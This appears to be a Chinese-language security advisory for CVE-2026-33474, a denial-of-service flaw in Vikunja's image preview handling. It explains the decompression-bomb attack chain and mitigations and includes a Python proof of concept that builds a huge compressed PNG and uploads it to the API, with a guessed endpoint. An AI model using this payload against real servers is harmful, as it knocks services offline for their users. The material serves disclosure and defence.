IPBUF安全漏洞报告
English
CVE-2026-33474 CVSS 6.5 中危

CVE-2026-33474 Vikunja 拒绝服务漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33474
漏洞类型
拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Vikunja

相关标签

拒绝服务DoS资源耗尽Vikunja图像处理漏洞

漏洞概述

Vikunja是一个开源自托管任务管理平台。在1.0.0-rc0至2.2.0之前的版本中,由于在生成预览时未对图像解码和调整大小进行限制,攻击者可以通过上传高压缩率但尺寸极大的图像文件来耗尽服务器的CPU和内存资源,导致服务拒绝响应。该问题已在Vikunja 2.2.0版本中修复。

技术细节

该漏洞属于资源耗尽型拒绝服务漏洞。漏洞原理在于Vikunja在处理用户上传的附件(特别是图片)生成缩略图或预览图时,使用了未加限制的图像解码逻辑。攻击者可以构造“解压炸弹”,即创建一个文件体积很小(通过高压缩率实现)但解压后像素尺寸极大(例如宽高各数万像素)的图片。当服务器端组件尝试将该图像加载到内存中进行解码和缩放操作时,会瞬间申请巨大的内存空间,并长时间占用CPU进行计算。由于缺乏对最大分辨率或内存占用的检查,这会导致服务器内存溢出(OOM)或CPU满载,从而使合法用户的请求无法得到处理,造成服务中断。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标系统正在使用Vikunja任务管理平台,且版本在1.0.0-rc0至2.2.0之间。
STEP 2
2. 恶意样本制作
攻击者利用脚本生成一个高压缩比但像素尺寸极高的恶意图像文件(即“解压炸弹”)。
STEP 3
3. 发起攻击
攻击者登录Vikunja账户(低权限即可),将恶意图像作为任务附件或背景图上传至服务器。
STEP 4
4. 资源耗尽
服务器在尝试解码该图像以生成预览时,CPU和内存资源被瞬间耗尽,导致服务崩溃或无响应。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import os import requests from PIL import Image # Create a malicious 'decompression bomb' image # This creates a small file size but huge pixel dimensions def create_malicious_image(filename="poc_exploit.png"): width = 65535 height = 65535 img = Image.new('RGB', (width, height), color='red') # Save with high compression to keep file size small img.save(filename, 'PNG', optimize=True) print(f"[+] Malicious image created: {filename}") print(f"[+] Dimensions: {width}x{height}") print(f"[+] File size: {os.path.getsize(filename)} bytes") return filename def upload_exploit(url, token, filename): headers = { "Authorization": f"Bearer {token}" } files = { 'file': (filename, open(filename, 'rb'), 'image/png') } # Endpoint might vary based on Vikunja API structure upload_url = f"{url}/api/v1/tasks" try: print(f"[*] Uploading to {upload_url}...") response = requests.post(upload_url, headers=headers, files=files) print(f"[+] Server response status: {response.status_code}") except Exception as e: print(f"[-] Upload failed: {e}") if __name__ == "__main__": # Usage: python poc.py <target_url> <api_token> # target_url = "http://localhost:3456" # api_token = "your_api_token_here" # file_name = create_malicious_image() # upload_exploit(target_url, api_token, file_name) pass

影响范围

Vikunja >= 1.0.0-rc0, < 2.2.0

防御指南

临时缓解措施
如果无法立即升级,建议临时禁用图像预览功能,或在网关层面严格拦截上传的图像文件。管理员应密切监控服务器资源使用情况,设置资源告警阈值,一旦检测到异常飙升,自动阻断相关IP地址。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表